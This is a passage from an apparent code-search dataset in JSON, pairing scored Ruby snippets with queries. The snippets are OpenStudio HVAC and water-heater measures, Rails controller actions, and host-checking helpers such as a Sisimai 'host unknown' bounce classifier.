"text": "def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # define CHW pump control\n\t\n\tchw_pump_control = OpenStudio::StringVector.new\n chw_pump_control << \"intermittent\"\n\tchw_pump_control << \"continuous\"\n chw_pump_control = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('chw_pump_control',chw_pump_control, true)\n chw_pump_control.setDisplayName(\"Choose CHW pump control type.\")\n chw_pump_control.setDefaultValue(\"intermittent\")\n args << chw_pump_control\n\t\n\t# set CHW design setpoint (F)\n\tchw_design_setpoint = OpenStudio::Ruleset::OSArgument::makeDoubleArgument('chw_design_setpoint', false)\n chw_design_setpoint.setDisplayName(\"Chilled water design setpoint in Fahrenheit\")\n chw_design_setpoint.setDefaultValue(44.996)\n args << chw_design_setpoint\n\t\n\t# CHW pump type/configuration\n\t\n\tchw_pump_type = OpenStudio::StringVector.new\n chw_pump_type << \"ConstantPrimaryNoSecondary\"\n\tchw_pump_type << \"ConstantPrimaryVariableSecondary\"\n chw_pump_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('chw_pump_type', chw_pump_type, true)\n chw_pump_type.setDisplayName(\"Choose CHW pump type and configuration.\")\n chw_pump_type.setDefaultValue(\"ConstantPrimaryNoSecondary\")\n args << chw_pump_type\n\t\t\n\t# Loop design delta T (F)\n\tchw_design_deltaT = OpenStudio::Ruleset::OSArgument::makeDoubleArgument('chw_design_deltaT', false)\n chw_design_deltaT.setDisplayName(\"Chilled water design deltaT in Fahrenheit\")\n chw_design_deltaT.setDefaultValue(12)\n args << chw_design_deltaT\n\t\n return args\n end",
"title": ""
},
{
"docid": "6c7a902c9cb8509f8cd47ce342c6eb38",
"score": "0.46840394",
"text": "def set_modelset\n @modelset = Modelset.find(params[:id])\n end",
"title": ""
},
{
"docid": "8cb9cafdccb6cd014e13a33d4560ce22",
"score": "0.46825483",
"text": "def create\n if params[:party_set][:name].blank?\n params[:party_set][:name] = PartyTester::Config::DEFAULT_SET_NAME\n end\n @party_set = PartySet.new(params[:party_set])\n\n respond_to do |format|\n if @party_set.save\n\n # Generate the prefix\n @party_set.prefix = PartyTester::Config::PREFIX_STR + @party_set.id.to_s\n @party_set.save\n \n format.html { redirect_to @party_set, notice: 'Party set was successfully created.' }\n format.json { render json: @party_set, status: :created, location: @party_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @party_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9e8f937dfce1707481a4c6108750822",
"score": "0.46711913",
"text": "def modeler_description\n return \"Sets (or replaces) dummy ElectricEquipment objects that store the number of bedrooms and bathrooms associated with the model.\"\n end",
"title": ""
},
{
"docid": "b5f9686f0eacdee484eb982621b0d2d3",
"score": "0.46620467",
"text": "def setup_models\n\n\t\t\tself.setting = Setting.new\n\t\t\t#Create the initial picture of index 1\n\t\t\tself.pictures.create(:picture_index => 1)\n\t\tend",
"title": ""
},
{
"docid": "fe6643c74c3626cac7ea0799ca6580a5",
"score": "0.46615422",
"text": "def new_input_set()\n return CreatePublicationInputSet.new()\n end",
"title": ""
},
{
"docid": "66d9a59f211ddbf7d5706ba4af08a764",
"score": "0.46608275",
"text": "def represent(model)\n return {}\n end",
"title": ""
},
{
"docid": "47095c74bf9db7e2fb7a2de77cdf2c6d",
"score": "0.46604958",
"text": "def volumeSetup(ioStr, kitStr)\n\n # for testing - assign a random weight value\n if(debug)\n operations.each { |op| op.temporary[:weight] = (Random.rand(0.25) + 0.1).to_s }\n end\n\n # if already have weights defined, assign them to temporary for use further on\n ops_with_weight=operations.select { |op| !(op.input(ioStr).item.get(:weight).nil?) }.each { |opw| opw.temporary[:weight]=opw.input(ioStr).item.get(:weight) }\n\n # get weights of samples if not already defined\n # Stripwell\n stripwell_ops=operations.select { |op| op.temporary[:weight].nil? && op.input(ioStr).object_type.name==\"Stripwell\" }\n if(stripwell_ops.any?)\n show do\n title \"Enter volume(s) of stripwell wells\"\n note \"Enter the volumes of the wells:\"\n table stripwell_ops.start_table\n .input_item(ioStr) # may be a collection id\n .custom_column(heading: \"well\") { |op| op.input(ioStr).column + 1 } # well within collection\n .get(:weight, type: 'number', heading: \"Volume (µL)\", default: 50.0)\n .end_table\n end\n stripwell_ops.each { |op|\n op.temporary[:weight] = \"#{(op.temporary[:weight].to_f)/1000.0}\"\n }\n end\n # Multiple Gel Slice\n multiple_ops=operations.select { |op| op.temporary[:weight].nil? && op.input(ioStr).object_type.name==\"Multiple Gel Slices\" }\n if(multiple_ops.any?)\n show do\n title \"Weigh volume(s) of 'multiple gel' items\"\n note \"Weigh the tubes and and enter the maximum weight of the following samples:\"\n table multiple_ops.start_table\n .input_item(ioStr)\n .custom_column(heading: \"number of tubes\") { |op| op.input(ioStr).item.get(:number_of_tubes) }\n .get(:weight, type: 'number', heading: \"MAXIMAL weight over ALL tubes (g)\", default: 0.001)\n .end_table\n note \"Write the MAXIMAL weight for each 'multiple gel' item on tube labeled <b>1</b>\"\n end\n end\n # non-collection, non-multiple items\n other_ops=operations.select { |op| op.temporary[:weight].nil? && !(op.input(ioStr).object_type.name==\"Stripwell\") && !(op.input(ioStr).object_type.name==\"Multiple Gel Slices\") }\n if(other_ops.any?)\n show do\n title \"Weigh volume(s) of non-stripwell items\"\n note \"Weigh the tubes and and enter the volume of the following samples:\"\n table other_ops.start_table\n .input_item(ioStr) # may be a collection id\n .get(:weight, type: 'number', heading: \"Weight (g)\", default: 0)\n .end_table\n note \"Write the tube weight on the side of each tube\"\n end\n end\n\n # calculate volumes of buffers\n kit=findSettings(kitStr) # test for bad string\n if(kitStr==\"Qiagen\" || kitStr=='QiagenPink')\n operations.each do |op|\n op.temporary[:qg_volume] = (op.temporary[:weight].to_f / DENSITY1).floor\n if add_isopropanol?(op, ioStr)\n op.temporary[:iso_volume] = (op.temporary[:weight].to_f / DENSITY2).floor\n else\n op.temporary[:iso_volume] = 0\n end\n op.temporary[:total_volume] = op.temporary[:qg_volume] + op.temporary[:iso_volume]\n end\n elsif(kitStr==\"Promega\")\n operations.each do |op|\n op.temporary[:qg_volume] = (1000*(op.temporary[:weight].to_f)).ceil\n op.temporary[:iso_volume] = 0 # isopropanol volume == 0 for Promega kit\n op.temporary[:total_volume] = op.temporary[:qg_volume]\n end\n end\n\n # these will need to be split\n operations.each do |op|\n op.temporary[:is_divided] = (op.temporary[:total_volume] >= 2000)\n end\n\n end",
"title": ""
},
{
"docid": "0d8c07d40926bddd36a15f4c7e036df4",
"score": "0.46576282",
"text": "def modeler_description\n return \"Each window in the building is assigned a thermochromic window construction and a shading control. The shading control is set to increase the window tint to meet the daylighting setpoint in the zone. If the zone already has daylighting controls, the setpoints from those controls are used. If the zone does not have controls, new controls are added at the center of the zone with a setpoint of 500 lux. These controls are only used for changing the window tint; they are not used to control the interior lighting.\"\n end",
"title": ""
},
{
"docid": "adff4969729effa7d0a770dbefb59c53",
"score": "0.46567133",
"text": "def modelset_params\n params.require(:modelset).permit(:number_model, :date_model, :product_id)\n end",
"title": ""
},
{
"docid": "383bf0575d7bf0862475cd01fb018c6f",
"score": "0.46563345",
"text": "def create\n @armor_set = ArmorSet.new(params[:armor_set])\n\n respond_to do |format|\n if @armor_set.save\n format.html { redirect_to @armor_set, notice: 'Armor set was successfully created.' }\n format.json { render json: @armor_set, status: :created, location: @armor_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @armor_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ed48e46611b6181f9e6dd6c2581a54d7",
"score": "0.4655456",
"text": "def publisher\n # TODO: implement this\n end",
"title": ""
},
{
"docid": "493675089172babbdcf1769a47ae4663",
"score": "0.46526128",
"text": "def new_input_set()\n return GetWeeklyAlbumChartInputSet.new()\n end",
"title": ""
},
{
"docid": "0a5760d06c172efbe160650073e644f3",
"score": "0.465098",
"text": "def create\n @model_name = params[:page_name]\n @model_title = params[:page_title]\n @class_name = @model_title.gsub(\" \",\"\")\n @model_obj = @class_name.constantize.new(params[@model_name.to_s])\n is_matrix = params[\"#{@model_name}_matrix\"].nil? ? false : true\n @model_obj.is_matrix = is_matrix\n\n puts \"-------------\\nCreated a new #{@model_name} object.. The Question is: #{@model_obj.question}\\n\\n\"\n @model_obj.question_number = ExtractionForm.get_next_question_number(@class_name,@model_obj.extraction_form_id)\n @extraction_form = ExtractionForm.find(@model_obj.extraction_form_id)\n\n choices = []\n if params[@model_name.to_s][:field_type] == 'text'\n choices = []\n elsif is_matrix\n choices = params[\"#{@model_name}_matrix\"]\n else\n choices = params[\"#{@model_name}_choices\"] ||= []\n end\n errors = QuestionBuilder.check_inputs(params[@model_name.to_s], choices)\n\n if errors.length == 0\n if @saved = @model_obj.save\n\n # If it's a normally-formatted question, save the question choices and subquestions\n unless params[\"#{@model_name}_choices\"].nil? || @extraction_form.id.nil?\n QuestionBuilder.save_question_choices(params[\"#{@model_name}_choices\"], @model_obj.id, false,params[:subquestion_text],params[:gets_sub],params[:has_subquestion], @model_name, @class_name)\n end\n\n # If it's a matrix question, set up the matrix options\n unless params[\"#{@model_name}_matrix\"].nil? || @extraction_form.id.nil?\n allow_other_dropdown = params[\"#{@model_name}_matrix\"][\"include_other_as_option\"].nil? ? false : true\n @model_obj.include_other_as_option = allow_other_dropdown\n @model_obj.save\n QuestionBuilder.save_matrix_setup(params[\"#{@model_name}_matrix\"], @model_obj.id, @model_name, @class_name)\n end\n @questions = @class_name.constantize.where(:extraction_form_id => @extraction_form.id).all.sort_by{|q| q.question_number}\n @model = @model_name.dup\n @model_obj = @class_name.constantize.new\n else\n # This will utilize built in error checking from rails (defined in the model) if they exist\n errors << \"#{@model_obj[0].to_s} #{@model_obj[0][0]}\"\n @error_html = get_error_HTML(errors)\n end\n else\n @error_html = get_error_HTML(errors)\n end\n end",
"title": ""
},
{
"docid": "298309b3ef1fc955dbc7fab3a95ec0b3",
"score": "0.4650463",
"text": "def new\n @equipment_set = EquipmentSet.new\n end",
"title": ""
},
{
"docid": "3dc0ed789c1b4eceff98c464d069c893",
"score": "0.46442115",
"text": "def modeler_description\n return 'This EEM adds EMS logic to the model that actuates the infiltration, HVAC operation, cooling set point, and heating set point schedules. The measure first identifies the schedule HVAC stopping point by day of week (Saturday, Sunday, and Weekdays). Early HVAC system shutoff is determined entirely by the outdoor air temperature (OAT). If the OAT is less than or equal to 2C or greater than or equal to 18C, then no action is taken. The HVAC system is shut off one hour early when the OAT is between 12C and 18C. The HVAC system shut off time varies linearly with OAT from one hour to zero hours between 12C and 2C, and between 18C and 28C. AvailabilityManager:OptimumStart objects are inserted for each HVAC system in the model and use the AdaptiveASHRAE algorithm to dynamically adjust HVAC startup time each day.'\n end",
"title": ""
},
{
"docid": "68dcaac9eebf8d50c993304779d014be",
"score": "0.4643062",
"text": "def create\n if handle_upload_data\n @model = Model.new(params[:model])\n\n @model.policy.set_attributes_with_sharing params[:sharing], @model.projects\n\n update_annotations @model\n update_scales @model\n build_model_image @model,params[:model_image]\n assay_ids = params[:assay_ids] || []\n respond_to do |format|\n if @model.save\n\n create_content_blobs\n # update attributions\n Relationship.create_or_update_attributions(@model, params[:attributions])\n\n # update related publications\n Relationship.create_or_update_attributions(@model, params[:related_publication_ids].collect {|i| [\"Publication\", i.split(\",\").first]}, Relationship::RELATED_TO_PUBLICATION) unless params[:related_publication_ids].nil?\n\n #Add creators\n AssetsCreator.add_or_update_creator_list(@model, params[:creators])\n\n flash[:notice] = \"#{t('model')} was successfully uploaded and saved.\"\n format.html { redirect_to model_path(@model) }\n Assay.find(assay_ids).each do |assay|\n if assay.can_edit?\n assay.relate(@model)\n end\n end\n else\n format.html {\n render :action => \"new\"\n }\n end\n end\n else\n handle_upload_data_failure\n end\n\n end",
"title": ""
},
{
"docid": "5f95934ccfcd818cdf7fe041abb3f8f4",
"score": "0.46416762",
"text": "def create_model(value_set,seed_model,save_string)\n\n measures = populate_workflow(value_set,seed_model)\n\n # todo - accommodate measures with string/path arguments it would be better for this section to run on the contents of the zip file. Then paths would match what happens on the server.\n\n # add in necessary requires (these used to be at the top but should work here)\n require 'openstudio'\n require 'openstudio/ruleset/ShowRunnerOutput'\n\n # create an instance of a runner\n runner = OpenStudio::Ruleset::OSRunner.new\n\n # load the test model\n translator = OpenStudio::OSVersion::VersionTranslator.new\n path = OpenStudio::Path.new(\"#{Dir.pwd}/#{seed_model}\")\n model = translator.loadModel(path)\n\n # confirm that model was opened\n if not model.empty?\n model = model.get\n puts \"Opening #{seed_model}\"\n else\n puts \"Couldn't open #{seed_model}, creating a new empty model\"\n model = OpenStudio::Model::Model.new\n end\n\n model_measures = []\n\n # add model measures to analysis\n measures.each do |m|\n\n # load the measure\n require_relative (Dir.pwd + \"/\" + m[:path] + \"/measure.rb\")\n\n # load the measure.json file\n path_to_measure_json = (Dir.pwd + \"/\" + m[:path] + \"/measure.json\")\n measure_json = JSON.parse(File.read(path_to_measure_json))\n measure_class = measure_json[\"classname\"]\n\n # get name and description from measure.json if it doesn't already exist\n if not m[:name]\n m[:name] = measure_json[\"name\"]\n end\n if not m[:description]\n m[:description] = measure_json[\"description\"]\n end\n\n # make empty array for arguments and variables if not passed in\n if not m[:arguments]\n m[:arguments] = []\n end\n if not m[:variables]\n m[:variables] = []\n end\n\n # create an instance of the measure\n measure = eval(measure_class).new\n\n # skip from this loop if it is an E+ or Reporting measure\n if not measure.is_a?(OpenStudio::Ruleset::ModelUserScript)\n puts \"Skipping #{measure.name}. It isn't a model measure.\"\n next\n else\n model_measures << m\n end\n\n # get arguments\n arguments = measure.arguments(model)\n argument_map = OpenStudio::Ruleset.convertOSArgumentVectorToMap(arguments)\n\n # get argument values\n args_hash = {}\n m[:arguments].each do |a|\n if a[:value].is_a?(Hash)\n args_hash[a[:name]] = a[:value][:static_value]\n else\n args_hash[a[:name]] = a[:value]\n end\n end\n m[:variables].each do |v|\n # todo - add logic to use something other than static value when argument is variable\n args_hash[v[:name]] = v[:value][:static_value]\n end\n\n # populate argument with specified hash value if specified\n arguments.each do |arg|\n temp_arg_var = arg.clone\n if args_hash[arg.name]\n temp_arg_var.setValue(args_hash[arg.name])\n end\n argument_map[arg.name] = temp_arg_var\n end\n\n # just added as test of where measure is running from\n #puts \"Measure is running from #{Dir.pwd}\"\n\n # run the measure\n measure.run(model, runner, argument_map)\n result = runner.result\n show_output(result)\n\n end\n\n # save path\n output_file_path = OpenStudio::Path.new(\"analysis_local/#{save_string}.osm\")\n puts \"Saving #{output_file_path}\"\n model.save(output_file_path,true)\n\n # forward translate to IDF\n puts \"Forward translating #{output_file_path} to an IDF model\"\n # forward translate OSM file to IDF file\n ft = OpenStudio::EnergyPlus::ForwardTranslator.new\n workspace = ft.translateModel(model)\n\n energy_plus_measures = []\n\n # add energy plus measures to analysis\n measures.each do |m|\n\n # stop here if measure already identified as model measure\n if model_measures.include? m\n next\n end\n\n # load the measure\n require_relative (Dir.pwd + \"/\" + m[:path] + \"/measure.rb\")\n\n # get the measure class name from the JSON file\n path_to_measure_json = (Dir.pwd + \"/\" + m[:path] + \"/measure.json\")\n temp = File.read(path_to_measure_json)\n measure_json = JSON.parse(temp)\n measure_class = measure_json[\"classname\"]\n\n # create an instance of the measure\n measure = eval(measure_class).new\n\n # skip from this loop if it is an E+ or Reporting measure\n if not measure.is_a?(OpenStudio::Ruleset::WorkspaceUserScript)\n puts \"Skipping #{measure.name}. It isn't an EnergyPlus measure.\"\n next\n else\n energy_plus_measures << m\n end\n\n # get arguments\n arguments = measure.arguments(workspace)\n argument_map = OpenStudio::Ruleset.convertOSArgumentVectorToMap(arguments)\n\n # get argument values\n args_hash = {}\n m[:arguments].each do |a|\n args_hash[a[:name]] = a[:value]\n end\n m[:variables].each do |v|\n # todo - add logic to use something other than static value when argument is variable\n args_hash[v[:name]] = v[:value][:static_value]\n end\n\n # populate argument with specified hash value if specified\n arguments.each do |arg|\n temp_arg_var = arg.clone\n if args_hash[arg.name]\n temp_arg_var.setValue(args_hash[arg.name])\n end\n argument_map[arg.name] = temp_arg_var\n end\n\n # just added as test of where measure is running from\n #puts \"Measure is running from #{Dir.pwd}\"\n\n # run the measure\n measure.run(workspace, runner, argument_map)\n result = runner.result\n show_output(result)\n\n end\n\n # save path\n output_file_path = OpenStudio::Path.new(\"analysis_local/#{save_string}.idf\")\n puts \"Saving #{output_file_path}\"\n workspace.save(output_file_path,true)\n\nend",
"title": ""
},
{
"docid": "92c56da457e831dc865e951331882c04",
"score": "0.46335697",
"text": "def set_hander\n @hander = Hander.find(params[:id])\n end",
"title": ""
},
{
"docid": "46b401efe710993e20540aaf590b1d76",
"score": "0.46334836",
"text": "def initialize(data)\n #returns the avtive model material list\n @model = Sketchup.active_model\n @entities = @model.active_entities\n @selection = @model.selection\n @definition_list = @model.definitions\n @materials = @model.materials\n @material_names = @materials.map {|color| color.name}\n\n view = @model.active_view\n @ip1 = nil\n @ip2 = nil\n @xdown = 0\n @ydown = 0\n\n @@beam_name = data[:name] #String 'W(height_class)X(weight_per_foot)'\n @@height_class = data[:height_class] #String 'W(number)'\n @@beam_data = data[:data] #Hash {:d=>4.16, :bf=>4.06, :tf=>0.345, :tw=>0.28, :r=>0.2519685039370079, :width_class=>4}\"\n @@placement = data[:placement] #String 'TOP' or 'BOTTOM'\n @@has_holes = data[:has_holes] #Boolean\n @@hole_spacing = data[:stagger] #Integer 16 or 24\n @@cuts_holes = data[:cuts_holes] #Boolean\n @@has_stiffeners = data[:stiffeners] #Boolean\n @@has_shearplates = data[:shearplates] #Boolean\n @@stiff_thickness = data[:stiff_thickness] #String '1/4' or '3/8' or '1/2'\n @@shearpl_thickness = data[:shearpl_thickness] #String '1/4' or '3/8' or '1/2'\n @@force_studs = data[:force_studs]\n @@flange_type = data[:flange_type]\n\n values = data[:data]\n @hc = data[:height_class].split('W').last.to_i #this gets just the number in the height class\n @h = values[:d].to_f\n @w = values[:bf].to_f\n @tf = values[:tf].to_f\n @tw = values[:tw].to_f\n @wc = values[:width_class].to_f\n @r = values[:r].to_f\n @number_of_sheer_holes = (((((@h - ((2*@tf) + (@r*2))) - (MIN_BIG_HOLE_DISTANCE_FROM_KZONE*2)) / 3).to_i) +1)\n\n\n #the thirteen points on a beam\n @points = [\n pt1 = [0,0,0],\n pt2 = [@w,0,0],\n pt3 = [@w,0,@tf],\n pt4 = [(0.5*@w)+(0.5*@tw)+@r, 0, @tf],\n pt5 = [(0.5*@w)+(0.5*@tw), 0, (@tf+@r)],\n pt6 = [(0.5*@w)+(0.5*@tw), 0, (@h-@tf)-@r],\n pt7 = [(0.5*@w)+(0.5*@tw)+@r, 0, @h-@tf],\n pt8 = [@w,0,@h-@tf],\n pt9 = [@w,0,@h],\n pt10= [0,0,@h],\n pt11= [0,0,@h-@tf],\n pt12= [(0.5*@w)-(0.5*@tw)-@r, 0, @h-@tf],\n pt13= [(0.5*@w)-(0.5*@tw), 0, (@h-@tf)-@r],\n pt14= [(0.5*@w)-(0.5*@tw), 0, @tf+@r],\n pt15= [(0.5*@w)-(0.5*@tw)-@r, 0, @tf],\n pt16= [0,0,@tf]\n ]\n\n @x_red = @model.axes.axes[0]\n @y_green = @model.axes.axes[1]\n @z_blue = @model.axes.axes[2]\n\n if @@flange_type == FLANGE_TYPE_COL\n @is_column = true\n else\n @is_column = false\n end\n\n @nine_sixteenths_holes = []\n check_for_preselect(@selection, @model.active_view)\n self.reset(view)\n end",
"title": ""
},
{
"docid": "c9ad2cf106d28f660a38fd55164eb7f0",
"score": "0.46321157",
"text": "def modeler_description\n return 'The model in this case used a water heater mixed as a place holder. This measure will take a string argument, and will replace the water heater with a new thermal storage chilled water object.'\n end",
"title": ""
},
{
"docid": "c54374b6668019cbfb2c293913838216",
"score": "0.4631203",
"text": "def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # define HW pump control\n\t\n\thw_pump_control = OpenStudio::StringVector.new\n hw_pump_control << \"intermittent\"\n\thw_pump_control << \"continuous\"\n hw_pump_control = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('hw_pump_control', hw_pump_control, true)\n hw_pump_control.setDisplayName(\"Choose HW pump control type.\")\n hw_pump_control.setDefaultValue(\"intermittent\")\n args << hw_pump_control\n\t\n\t# set HW design setpoint (F)\n\thw_design_setpoint = OpenStudio::Ruleset::OSArgument::makeDoubleArgument('hw_design_setpoint', false)\n hw_design_setpoint.setDisplayName(\"Hot water design setpoint in Fahrenheit\")\n hw_design_setpoint.setDefaultValue(179.6)\n args << hw_design_setpoint\n\t\n\t# HW pump types\n\t\n\thw_pump_type = OpenStudio::StringVector.new\n hw_pump_type << \"ConstantFlow\"\n\thw_pump_type << \"VariableFlow\"\n hw_pump_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('hw_pump_type', hw_pump_type, true)\n hw_pump_type.setDisplayName(\"Choose HW pump type.\")\n hw_pump_type.setDefaultValue(\"ConstantFlow\")\n args << hw_pump_type\n\t\t\n\t# Loop design delta T (F)\n\thw_design_deltaT = OpenStudio::Ruleset::OSArgument::makeDoubleArgument('hw_design_deltaT', false)\n hw_design_deltaT.setDisplayName(\"Hot water design deltaT in Fahrenheit\")\n hw_design_deltaT.setDefaultValue(19.8)\n args << hw_design_deltaT\n\t\n return args\n end",
"title": ""
},
{
"docid": "d7a372d5636c290b6958b119118c3cae",
"score": "0.46306512",
"text": "def modeler_description\n return 'Any supply or demand components, including collector plate surface, are removed along with corresponding plant loop. A stratified storage tank demand branch, flat plate collector supply branch, and constant speed pump are added to a new plant loop. The existing water heater is added to the outlet node of the storage tank. A differential thermostat, with collector plate outlet as the hot node and storage tank outlet as the cold node, represents the availability manager on the plant loop.'\n end",
"title": ""
},
{
"docid": "f3be56ad05fed03815c035372c366fe1",
"score": "0.46276206",
"text": "def publisher\n ::Qup::Publisher.new( self )\n end",
"title": ""
},
{
"docid": "f3be56ad05fed03815c035372c366fe1",
"score": "0.46276206",
"text": "def publisher\n ::Qup::Publisher.new( self )\n end",
"title": ""
},
{
"docid": "f3be56ad05fed03815c035372c366fe1",
"score": "0.46276206",
"text": "def publisher\n ::Qup::Publisher.new( self )\n end",
"title": ""
},
{
"docid": "f3be56ad05fed03815c035372c366fe1",
"score": "0.46276206",
"text": "def publisher\n ::Qup::Publisher.new( self )\n end",
"title": ""
},
{
"docid": "60345259fc118bf83f6d1ae0c2c6e3a0",
"score": "0.4626882",
"text": "def create\n @product_set = ProductSet.new(params[:product_set])\n\n respond_to do |format|\n if @product_set.save\n format.html { redirect_to @product_set, :notice => 'Product set was successfully created.' }\n format.json { render :json => @product_set, :status => :created, :location => @product_set }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "adf0897f4c07d5e9d63c49424533f92f",
"score": "0.46257243",
"text": "def new_input_set()\n return CreateBikeInputSet.new()\n end",
"title": ""
},
{
"docid": "87a482037dc8291caaae75f887514813",
"score": "0.46209532",
"text": "def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make a choice argument for model objects\n water_heater_handles = OpenStudio::StringVector.new\n water_heater_display_names = OpenStudio::StringVector.new\n \n #putting model object and names into hash\n water_heater_args = model.getWaterHeaterMixeds\n water_heater_args.each do |water_heater_arg|\n water_heater_handles << water_heater_arg.handle.to_s\n water_heater_display_names << water_heater_arg.name.to_s\n end\n\n #add building to string vector with space type\n building = model.getBuilding\n water_heater_handles << building.handle.to_s\n water_heater_display_names << \"*All WaterHeaterMixeds*\"\n water_heater_handles << \"0\"\n water_heater_display_names << \"*None*\"\n\n #make a choice argument for space type\n water_heater = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"water_heater\", water_heater_handles, water_heater_display_names)\n water_heater.setDisplayName(\"Apply the Measure to a SINGLE WaterHeaterMixed, ALL the WaterHeaterMixeds or NONE.\")\n water_heater.setDefaultValue(\"*All WaterHeaterMixeds*\") #if no space type is chosen this will run on the entire building\n args << water_heater\n \n # maximum_capacity_multiplier\n maximum_capacity_multiplier = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"maximum_capacity_multiplier\", true)\n maximum_capacity_multiplier.setDisplayName(\"Multiplier for Heater Maximum Capacity.\")\n maximum_capacity_multiplier.setDescription(\"Multiplier for Heater Maximum Capacity.\")\n maximum_capacity_multiplier.setDefaultValue(1.0)\n maximum_capacity_multiplier.setMinValue(0.0)\n args << maximum_capacity_multiplier\n \n #minimum_capacity_multiplier\n minimum_capacity_multiplier = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"minimum_capacity_multiplier\", true)\n minimum_capacity_multiplier.setDisplayName(\"Multiplier for Heater Minimum Capacity.\")\n minimum_capacity_multiplier.setDescription(\"Multiplier for Heater Minimum Capacity.\")\n minimum_capacity_multiplier.setDefaultValue(1.0)\n args << minimum_capacity_multiplier\n \n # thermal_efficiency_multiplier\n thermal_efficiency_multiplier = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"thermal_efficiency_multiplier\", true)\n thermal_efficiency_multiplier.setDisplayName(\"Multiplier for Thermal Efficiency.\")\n thermal_efficiency_multiplier.setDescription(\"Multiplier for Thermal Efficiency.\")\n thermal_efficiency_multiplier.setDefaultValue(1.0)\n args << thermal_efficiency_multiplier\n \n #make a choice argument for fuel type\n fuel_type = OpenStudio::StringVector.new\n fuel_type << \"NaturalGas\"\n fuel_type << \"Electricity\"\n fuel_type << \"PropaneGas\"\n \n # heater_fuel_type\n heater_fuel_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"fuel_type\", fuel_type, fuel_type)\n heater_fuel_type.setDisplayName(\"Heater Fuel Type.\")\n heater_fuel_type.setDescription(\"Heater Fuel Type.\")\n heater_fuel_type.setDefaultValue(\"NaturalGas\")\n args << heater_fuel_type\n \n return args\n end",
"title": ""
}
] |
3d62191e6f41ff875fedb87153ff817c | Whether the host is unknown or not | [
{
"docid": "cb2939f5c0b4f551d18c40187a506d0b",
"score": "0.0",
"text": "def true(argvs)\n return nil unless argvs\n return nil unless argvs.is_a? Sisimai::Data\n return true if argvs.reason == Sisimai::Reason::HostUnknown.text\n\n require 'sisimai/smtp/status'\n diagnostic = argvs.diagnosticcode || ''\n statuscode = argvs.deliverystatus || ''\n tempreason = Sisimai::SMTP::Status.name(statuscode)\n reasontext = Sisimai::Reason::HostUnknown.text\n v = false\n\n if tempreason == reasontext\n # Status: 5.1.2\n # Diagnostic-Code: SMTP; 550 Host unknown\n v = true\n else\n # Check the value of Diagnosic-Code: header with patterns\n v = true if Sisimai::Reason::HostUnknown.match(diagnostic)\n end\n\n return v\n end",
"title": ""
}
] | [
{
"docid": "fe4fadab58416202e7226a2bc0f6d7eb",
"score": "0.89723593",
"text": "def unknown?(host)\n host_state(host) == :unknown\n end",
"title": ""
},
{
"docid": "2c94d74e4ef1e3b9fdc8345fe9e787bb",
"score": "0.78519166",
"text": "def valid_remote_host?(host)\n false\n end",
"title": ""
},
{
"docid": "2c94d74e4ef1e3b9fdc8345fe9e787bb",
"score": "0.78519166",
"text": "def valid_remote_host?(host)\n false\n end",
"title": ""
},
{
"docid": "727589cff5b303d695eee5b457afbe44",
"score": "0.77844304",
"text": "def host?\n _hostmask == 0\n end",
"title": ""
},
{
"docid": "6b6304f74871a68e92b129e2fb3129a1",
"score": "0.7741755",
"text": "def host?\n return @type == 'host'\n end",
"title": ""
},
{
"docid": "6b824de64ce95208d110ba87a85b6410",
"score": "0.7734214",
"text": "def has_required_host?\n true\n end",
"title": ""
},
{
"docid": "6b824de64ce95208d110ba87a85b6410",
"score": "0.7734214",
"text": "def has_required_host?\n true\n end",
"title": ""
},
{
"docid": "4259326ec702a2457d6de830f4eb167b",
"score": "0.7672317",
"text": "def check_host host\n !!HOST_RE.match(host)\n end",
"title": ""
},
{
"docid": "c5abf16fe4ab96eccb58471692a38df8",
"score": "0.7564789",
"text": "def host?\n self.host\n end",
"title": ""
},
{
"docid": "fc673307095d155ad2949fd5bc8ccb48",
"score": "0.7529635",
"text": "def host?\n hosts[host]\n end",
"title": ""
},
{
"docid": "5a3681270af0f5683b001fad573655ec",
"score": "0.75213367",
"text": "def host_found(host)\n nil\n end",
"title": ""
},
{
"docid": "825ef0a9ea7cd72a73585ede09af4259",
"score": "0.7467394",
"text": "def require_host?\n true\n end",
"title": ""
},
{
"docid": "f657276f7e03b049cca61c3912036ae2",
"score": "0.7452156",
"text": "def host_unused?(host)\n host.instances.empty?\n end",
"title": ""
},
{
"docid": "03e3abfcf0cb8d6e4669f11f2705eadc",
"score": "0.7427197",
"text": "def host_only?(address)\n not(address.include?(\":\"))\n end",
"title": ""
},
{
"docid": "4a2aeaa56a08dd4a86331b55c915c7cf",
"score": "0.73551995",
"text": "def internal_host?(host)\n Resolv.getaddresses(host).all? { |ip| internal_ip?(ip) }\n rescue URI::Error\n false\n end",
"title": ""
},
{
"docid": "f80279270b1926e88a3b908f09c77107",
"score": "0.724413",
"text": "def host_exist?(hostname)\n get_host_id(hostname) ? true : false\n end",
"title": ""
},
{
"docid": "c379856efec515b95fb1b4b9df84c63d",
"score": "0.72369057",
"text": "def is_host_exists(arg_host_name)\n url = '/host/' + arg_host_name\n output = get_rest_call(url)\n\n if output['pure_err_key'].nil?\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "e319c3250aa2b54cdd459be2d4ce76d7",
"score": "0.72069144",
"text": "def unknown?\n address.nil?\n end",
"title": ""
},
{
"docid": "9f21561664bfca83f83dd6aa1b570763",
"score": "0.71960807",
"text": "def handled_host?(host)\n @hosts.include? host\n end",
"title": ""
},
{
"docid": "9e215e4c911ea1d20f403b9d40846ea3",
"score": "0.718536",
"text": "def valid_host?(host)\n host == request.host\n end",
